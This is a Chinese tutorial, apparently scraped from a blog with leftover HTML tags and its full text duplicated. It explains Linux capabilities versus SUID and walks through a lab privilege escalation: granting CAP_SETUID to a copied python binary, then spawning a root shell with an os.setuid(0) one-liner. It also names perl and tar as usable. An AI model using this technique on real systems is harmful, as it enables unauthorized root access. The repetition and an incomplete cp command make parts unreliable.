能力介绍
Linux中的功能是什么
在获得功能之前,我们只有特权和非特权进程的二进制系统,并且出于执行权限检查的目的,传统的UNIX实现将进程分为两类:特权进程(称为超级用户或根)和非特权进程(其有效UID为非零)。
功能是将内核用户或内核级程序的特权分成小块的那些权限,以便可以使进程有足够的能力执行特定的特权任务。
功能和SUID之间的区别
SUID: SUID代表设置的用户ID,并允许用户以文件所有者的身份执行文件。这被定义为授予用户临时权限,使其在文件所有者(而不是运行文件所有者)的权限下运行程序/文件。使用“查找”命令可以很容易地检测到。要查找在当前目录中设置了SUID的所有文件,我们可以使用-perm选项,该选项将仅打印许可权设置为4000的文件(允许进程临时使用root的权限执行)
给予某个文件拥有临时权限的命令
例子:
<span>chmod</span> u+s /usr/bin/python<br>
使用find命令可以找出SUID文件
find / -perm -u=s -type f <span>2</span>><span>/dev/</span><span>null</span><br>
setcap详解:setcap详解 - 农夫运维 - 博客园
setcap简要说明:
Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力<span>CAP_SYS_MODULE</span>表示用户能够加载(或卸载)内核模块的特权操作,而<span>CAP_SETUID</span>表示用户能够修改进程用户身份的特权操作。在Capbilities中系统将根据进程拥有的能力来进行特权操作的访问控制。<br>
getcap:检索setcap所设置的文件
getcap -r / <span>2</span>><span>/dev/</span><span>null</span><br>
OS:kali<br>测试用户:root、<span>test</span><br>
先用root用户给予python SUID
<span>chmod</span> u+s /usr/bin/python<br>
查找一波对应的SUID权限的文件,确定是否给予成功
find / -perm -u=s -type f <span>2</span>><span>/dev/</span><span>null</span><br>
复制python到/tmp目录下,拟态和文章类似的构造
<span>cp</span> /usr/bin/python<br>
setcap给予tmp目录下的python一个用户临时执行权限
<span>setcap</span> CAP_SETUID+ep /tmp/python<br>
切换至test用户,执行以下命令即可获取一个root权限
<span>getcap</span> -r / 2>/dev/null <span>#查询被赋予权限的文件</span><br>
./python -c <span>'import os;os.setuid(0);os.system("/bin/bash")'</span><br>
getcap -r / 2>/dev/null #查询被赋予CAP_SETUID权限的文件,来获取某些文件是否有利用的价值。目前得出可以利用用的几个
<span>perl</span><br>python<br>tar
Linux中的功能是什么
在获得功能之前,我们只有特权和非特权进程的二进制系统,并且出于执行权限检查的目的,传统的UNIX实现将进程分为两类:特权进程(称为超级用户或根)和非特权进程(其有效UID为非零)。
功能是将内核用户或内核级程序的特权分成小块的那些权限,以便可以使进程有足够的能力执行特定的特权任务。
功能和SUID之间的区别
SUID: SUID代表设置的用户ID,并允许用户以文件所有者的身份执行文件。这被定义为授予用户临时权限,使其在文件所有者(而不是运行文件所有者)的权限下运行程序/文件。使用“查找”命令可以很容易地检测到。要查找在当前目录中设置了SUID的所有文件,我们可以使用-perm选项,该选项将仅打印许可权设置为4000的文件(允许进程临时使用root的权限执行)
给予某个文件拥有临时权限的命令
例子:
<span>chmod</span> u+s /usr/bin/python<br>
使用find命令可以找出SUID文件
find / -perm -u=s -type f <span>2</span>><span>/dev/</span><span>null</span><br>
setcap详解:setcap详解 - 农夫运维 - 博客园
setcap简要说明:
Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力<span>CAP_SYS_MODULE</span>表示用户能够加载(或卸载)内核模块的特权操作,而<span>CAP_SETUID</span>表示用户能够修改进程用户身份的特权操作。在Capbilities中系统将根据进程拥有的能力来进行特权操作的访问控制。<br>
getcap:检索setcap所设置的文件
getcap -r / <span>2</span>><span>/dev/</span><span>null</span><br>
OS:kali<br>测试用户:root、<span>test</span><br>
先用root用户给予python SUID
<span>chmod</span> u+s /usr/bin/python<br>
查找一波对应的SUID权限的文件,确定是否给予成功
find / -perm -u=s -type f <span>2</span>><span>/dev/</span><span>null</span><br>
复制python到/tmp目录下,拟态和文章类似的构造
<span>cp</span> /usr/bin/python<br>
setcap给予tmp目录下的python一个用户临时执行权限
<span>setcap</span> CAP_SETUID+ep /tmp/python<br>
切换至test用户,执行以下命令即可获取一个root权限
<span>getcap</span> -r / 2>/dev/null <span>#查询被赋予权限的文件</span><br>
./python -c <span>'import os;os.setuid(0);os.system("/bin/bash")'</span><br>
- 1
getcap -r / 2>/dev/null #查询被赋予CAP_SETUID权限的文件,来获取某些文件是否有利用的价值。目前得出可以利用用的几个
<span>perl</span><br>python<br>tar